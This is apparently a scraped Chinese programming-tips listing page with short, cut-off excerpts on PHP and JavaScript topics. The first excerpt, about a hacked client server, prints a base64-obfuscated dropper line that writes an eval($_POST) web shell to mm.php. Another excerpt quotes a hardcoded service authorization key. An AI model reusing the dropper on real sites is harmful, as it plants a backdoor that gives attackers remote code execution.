Time of Update: 2016-07-21
今天一個客戶的伺服器頻繁被寫入: mm.php 內容為: 複製代碼 代碼如下: 最後查到某檔案內的第一行為以下代碼: 複製代碼 代碼如下: fputs(fopen(base64_decode("bW0ucGhw"),"w"),base64_decode("PD9ldmFsKCRfUE9TVFtjXSk7Pz4=")); base64_decode("bW0ucGhw") //mm.php base64_decode("PD9ldmFsKCRfUE9TVFtjXSk7Pz4=") //
Time of Update: 2016-07-21
所以就懷疑是否編碼問題,或者檔案許可權問題,或者是不是函數不支援問題,經過排查發現原來是萬網的L1主機不支援fsockopen,在檔案uc_client/client.php中的uc_fopen中出現了問題,這裡的代碼是這樣: 複製代碼 代碼如下: function uc_fopen($url, $limit = 0, $post = '', $cookie = '', $bysocket = FALSE, $ip = '', $timeout = 15, $block = TRUE) {
Time of Update: 2016-07-21
複製代碼 代碼如下: class session { static $sessionObject; /* $_SESSION['user'] == 0 , don't work . * == 1 , he is really user . */ private function __construct() { if(! ( isset($_SESSION['user']) && $_SESSION['user']==0 )) session_set_cookie_params(3600);
Time of Update: 2016-07-21
後來,我通過跟蹤發現,這類情況的出現,跟 PHP 的 file_get_contents() 函數有著密切的關係。 大、中型網站中,基於 HTTP 協議的 API 介面調用,是家常便飯。PHP 程式員們喜歡使用簡單便捷的 file_get_contents("http://example.com/") 函數,來擷取一個 URL 的返回內容,但是,如果 http://example.com/ 這個網站響應緩慢,file_get_contents() 就會一直卡在那兒,不會逾時。 我們知道,
Time of Update: 2016-07-21
只是在技術上來看,要實現網頁灰階,最穩妥的辦法莫過於直接處理所有映像,不用考慮相容,不用考慮效率。但是,工作量比較大,切換回來也費力。 ie系列支援css濾鏡,一句 filter:gray; 就解決了所有問題。但是,眾所周知,ie以效率低著名,你會發現開啟以後速度顯著下降。並且,最致命的,在其他瀏覽器下無效。 有沒有相容所有瀏覽器的辦法呢?有。JavaScript能做到,早就有人用js類比了ie的gray濾鏡,如果你感興趣並且願意看英文,可以去看看《“GRAYSCALING” IN
Time of Update: 2016-07-21
ksort()定義和用法 ksort() 函數按照鍵名對數組升序排序,為數組值保留原來的鍵。 可選的第二個參數包含附加的排序標誌。 若成功,則返回 TRUE,否則返回 FALSE。 文法 ksort(array,sorttype)參數 描述 array 必需。規定要排序的數組。 sorttype 可選。規定如何排列數組的值。可能的值: SORT_REGULAR - 預設。以它們原來的類型進行處理(不改變類型)。 SORT_NUMERIC - 把值作為數字來處理 SORT_STRING -
Time of Update: 2016-07-21
複製代碼 代碼如下: //我們的網域名稱,這裡可以不唯一的 $domain = 'localhost'; //這個應該是CNZZ授權給shopex的加密金鑰,如果錯了就不能快捷申請帳號 $encodestr = 'A34dfwfF'; //這個就是CNZZ授權給shopex的快捷申請帳號的URL地址 $url =
Time of Update: 2016-07-21
看似簡單的東西,在實際運用中,還是很有意思的 算術運算子 運算子 名稱 結果 $a + $b 加法 $a 和 $b 的和 $a - $b 減法 $a 和 $b 的差 $a * $b 乘法 $a 和 $b 的積 $a / $b 除法 $a 除以 $b 的商 $a % $b 模數 $a 除以 $b 的餘數 遞增/遞減運算子 運算子 名稱 結果 ++$a 前加 $a 的值加一,然後進行操作 $a++ 後加 $a 的值先進行操作,後加一 --$a 前減 $a 的值減一,然後進行操作 $
Time of Update: 2016-07-21
array_sum()定義和用法 array_sum() 函數返回數組中所有值的總和。 如果所有值都是整數,則返回一個整數值。如果其中有一個或多個值是浮點數,則返回浮點數。 PHP 4.2.1 之前的版本修改了傳入的數組本身,將其中的字串值轉換成數值(大多數情況下都轉換成了零,根據具體制而定)。 文法 array_sum(array) 參數 描述 array 必需。規定輸入的數組。 例子1 複製代碼 代碼如下: $a=array(0=>"5",1=>"15",2=>"25"); echo
Time of Update: 2016-07-21
現有某函數與對象如下: 複製代碼 代碼如下: var doubling=function(x){ return x*2; }; var obj={ val:100, }; 函數調用模式時,this被綁定到全域對象。這種情況在對象的屬性與方法被初始化時也能夠得到反應。現為ojb進行補充如下: 複製代碼 代碼如下: var obj={val:100, prop:function(){ var that=this; document.write('name: '+that+'; type:
Time of Update: 2016-07-21
prev() 定義和用法 prev() 函數把指向當前元素的指標移動到上一個元素的位置,並返回該元素值。 如果內部指標已經超過數組的第一個元素之前,函數返回 false。 文法 prev(array)參數 描述 array 必需。規定要使用的數組。 說明 prev() 和 next() 的行為類似,不過它將內部指標倒回一位而不是前移一位。 注意:如果數組包含空的單元,或者單元的值是 0 則該函數碰到這些單元也返回 FALSE。要正確遍曆可能含有空單元或者單元值為 0 的數組,請參見 each()
Time of Update: 2016-07-21
index.html 複製代碼 代碼如下: 無重新整理上傳檔案 upload.php 複製代碼 代碼如下: sleep(2); $fileTypes = array('jpg','png','gif','bmp'); $result = null; $uploadDir = './upfiles'; $maxSize = 1 * pow(2,20); if ($_SERVER['REQUEST_METHOD'] == 'POST' &&
Time of Update: 2016-07-21
這樣就出現了一個問題,一個用戶端的相應服務端可能執行1秒也有可能執行1分鐘,這樣瀏覽器就會一直處於等待狀態,如果程式執行緩慢,使用者可能就沒耐心關掉了瀏覽器。 而有的時候我們不需要關心程式執行的結果,沒有必要這樣浪費時間和耐心等待,那我們就要想出辦法讓程式不收等待在後台靜默執行。比如現在有一個情境,給1000個使用者發送一封推薦郵件,使用者輸入或者匯入郵件帳號了提交伺服器執行發送。 複製代碼 代碼如下: $count=count($emailarr); for($i=0;$i{
Time of Update: 2016-07-21
array_keys() 定義和用法 array_keys() 函數返回包含數組中所有鍵名的一個新數組。 如果提供了第二個參數,則只返回索引值為該值的鍵名。 如果 strict 參數指定為 true,則 PHP 會使用全等比較 (===) 來嚴格檢查索引值的資料類型。 文法 array_keys(array,value) 參數 描述 array 必需。規定輸入的數組。 value 可選。指定值的索引(鍵)。 strict 可選。與 value 參數一起使用。可能的值: true -
Time of Update: 2016-07-21
使用網上流傳的一個程式實現pdf為png,需要使用Imagic擴充。在windows下安裝完後提示: Fatal error: Trying to clone an uncloneable object of class Imagick in C:\www\hx\pdf_to_png.php on line 17 使用IIS和Apache均會有這個提示。經多次測試後,發現兩種解決方案: 1.php.ini中; Enable compatibility mode with Zend Engine
Time of Update: 2016-07-21
一、 基礎知識 本章簡要介紹一些Zend引擎的內部機制,這些知識和Extensions密切相關,同時也可以協助我們寫出更加高效的PHP代碼。 1.1 PHP變數的儲存 1.1.1 zval結構 Zend使用zval結構來儲存PHP變數的值,該結構如下所示: 複製代碼 代碼如下: typedef union _zvalue_value { long lval; /* long value */ double dval; /* double value */ struct {
Time of Update: 2016-07-21
PHP判斷數組為空白首選方法:count($arr),size($arr); 複製代碼 代碼如下: $arr= array(""); echo count($arr); echo size($arr); //輸出1 複製代碼 代碼如下: $arr= array(); echo count($arr); echo size($arr); //輸出0 PHP判斷數組為空白方法2:empty($arr); 複製代碼 代碼如下: $arr= array(""); $result =
Time of Update: 2016-07-21
ShopCar.php 複製代碼 代碼如下: class Shopcar { //商品列表 public $productList=array(); /** * * @param unknown_type $product 傳進來的商品 * @return true 購物車裡面沒有該商品 */ public function checkProduct($product) { for($i=0;$iproductList);$i++ ) {
Time of Update: 2016-07-21
Three easy steps 1) configure function Add an input for each field you want to include in your filter 複製代碼 代碼如下: $this->widgetSchema['name'] = new sfWidgetFormFilterInput(array('with_empty' => false)); $this->validatorSchema['name'] = new
Time of Update: 2016-07-21
在本站前面有文章介紹了如何?發表微博說說:PHP+Mysql+jQuery實現發布微博程式--jQuery篇,本例將基於其資料庫結構,用動態方式展示發表的說說資訊。 查看樣本:DEMOXHTML 複製代碼 代碼如下: Shuro 8分鐘前 說: 評論內容。。。 ... 上述HTML結構由N個.saylist構成,用於展示使用者的評論資訊,當然在本例中,將由PHP負責產生這段XHTML代碼。 CSS 複製代碼 代碼如下: #demo{width:400px;